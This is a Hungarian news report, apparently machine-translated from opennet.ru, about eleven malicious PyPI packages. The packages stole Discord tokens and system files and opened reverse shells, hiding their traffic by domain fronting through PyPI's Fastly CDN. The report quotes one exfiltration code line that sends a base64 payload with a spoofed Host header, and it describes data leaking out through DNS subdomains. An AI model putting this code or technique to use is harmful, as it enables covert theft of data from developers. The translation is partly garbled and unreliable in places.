A PyPI katalógusban rosszindulatú könyvtárakat azonosítottak, amelyek a PyPI CDN-t használják a kommunikációs csatorna elrejtésére

A PyPI (Python Package Index) könyvtárban 11 rosszindulatú kódot tartalmazó csomagot azonosítottak. A problémák azonosítása előtt a csomagokat összesen mintegy 38 ezer alkalommal töltötték le. Az észlelt rosszindulatú csomagok arról nevezetesek, hogy kifinomult módszereket alkalmaznak a kommunikációs csatornák elrejtésére a támadók szervereivel.

  • fontospackage (6305 letöltés), fontos-csomag (12897) - kapcsolatot hozott létre egy külső szerverrel a pypi.python.org webhelyhez való csatlakozás leple alatt, hogy shell-hozzáférést biztosítson a rendszerhez (fordított shell), és a trevorc2 programot használta a hiba elrejtésére. kommunikációs csatorna.
  • pptest (10001), ipboards (946) - DNS-t használt kommunikációs csatornaként a rendszerrel kapcsolatos információk továbbítására (az első csomagban a gazdagép neve, a munkakönyvtár, a belső és külső IP, a másodikban a felhasználónév és a gazdagépnév) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - azonosította a Discord szolgáltatás tokent a rendszerben, és elküldte egy külső gazdagépnek.
  • trrfab (287) - elküldte az /etc/passwd, /etc/hosts, /home azonosítóját, gazdagépnevét és tartalmát a külső gazdagépnek.
  • 10Cent10 (490) - fordított shell-kapcsolatot hozott létre egy külső gazdagéppel.
  • yandex-yt (4183) – üzenetet jelentetett meg a rendszer feltörésével kapcsolatban, és egy olyan oldalra irányította át, amely további információkat tartalmaz az nda.ya.ru (api.ya.cc) webhelyen keresztül kiadott további műveletekről.

Különösen figyelemre méltó a fontos csomagokban és a fontos-csomagokban használt külső gazdagépek elérésének módja, amelyek a PyPI címtárban használt Fastly tartalomszolgáltató hálózatot használták tevékenységük elrejtésére. Valójában a kérések a pypi.python.org szervernek érkeztek (beleértve a python.org név megadását az SNI-ben a HTTPS-kérésben), de a HTTP „Host” fejléce tartalmazta a támadók által ellenőrzött szerver nevét (XNUMX. forward.io. global.prod.fastly.net). A tartalomszolgáltató hálózat hasonló kérést küldött a támadó szervernek, adatátvitelkor a pypi.python.org TLS kapcsolat paramétereit használva.

A PyPI infrastruktúrát a Fastly tartalomszolgáltató hálózat működteti, amely a Varnish transzparens proxyt használja a tipikus kérések gyorsítótárazásához, és a végkiszolgálók helyett CDN-szintű TLS-tanúsítvány-feldolgozást használ a HTTPS-kérések proxyn keresztül történő továbbítására. A célállomástól függetlenül a kérések a proxyhoz kerülnek, amely a HTTP „Host” fejléc segítségével határozza meg a kívánt gazdagépet, és a gazdagép tartománynevek a CDN terheléselosztó IP-címeihez vannak kötve, amelyek minden Fastly-kliensre jellemzőek.

A támadók szervere a CDN Fastly-n is regisztrál, amely mindenki számára ingyenes csomagokat biztosít, és még anonim regisztrációt is lehetővé tesz. Figyelemre méltó, hogy a „fordított shell” létrehozásakor egy sémát is használnak az áldozatnak történő kérések küldéséhez, de a támadó gazdája oldaláról kezdeményezik. Kívülről a támadók szerverével való interakció úgy néz ki, mint egy legitim munkamenet a PyPI-könyvtárral, amely PyPI TLS-tanúsítvánnyal van titkosítva. A „domain fronting” néven ismert hasonló technikát korábban aktívan használták a gazdagép nevének elrejtésére a blokkolás megkerülésekor, és egyes CDN-hálózatokban a HTTPS-hez való hozzáférés lehetőségét használták azáltal, hogy jeleztek egy fiktív gazdagépet az SNI-ben, és ténylegesen továbbították a szerver nevét. kért gazdagépet a HTTP Host fejlécében egy TLS-munkameneten belül.

A PyPI katalógusban rosszindulatú könyvtárakat azonosítottak, amelyek a PyPI CDN-t használják a kommunikációs csatorna elrejtésére

A rosszindulatú tevékenységek elrejtése érdekében a TrevorC2 csomagot a szerverrel való interakció a szokásos webes navigációhoz hasonlóvá tételére használták, például rosszindulatú kéréseket küldtek a „https://pypi.python.org/images/” kép letöltésének leple alatt. guid=” információ kódolással a guid paraméterben. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

A pptest és az ipboards csomagok más megközelítést alkalmaztak a hálózati tevékenységek elrejtésére, ami a DNS-kiszolgálóhoz intézett lekérdezésekben található hasznos információk kódolásán alapult. A rosszindulatú program DNS-kérések, például „nu4timjagq4fimbuhe.example.com” végrehajtásával továbbítja az információkat, amelyekben a vezérlőszervernek továbbított adatokat a base64 formátum használatával kódolják az aldomain nevében. A támadó ezeket az üzeneteket az example.com tartomány DNS-kiszolgálójának vezérlésével kapja meg.

Forrás: opennet.ru

Hozzászólás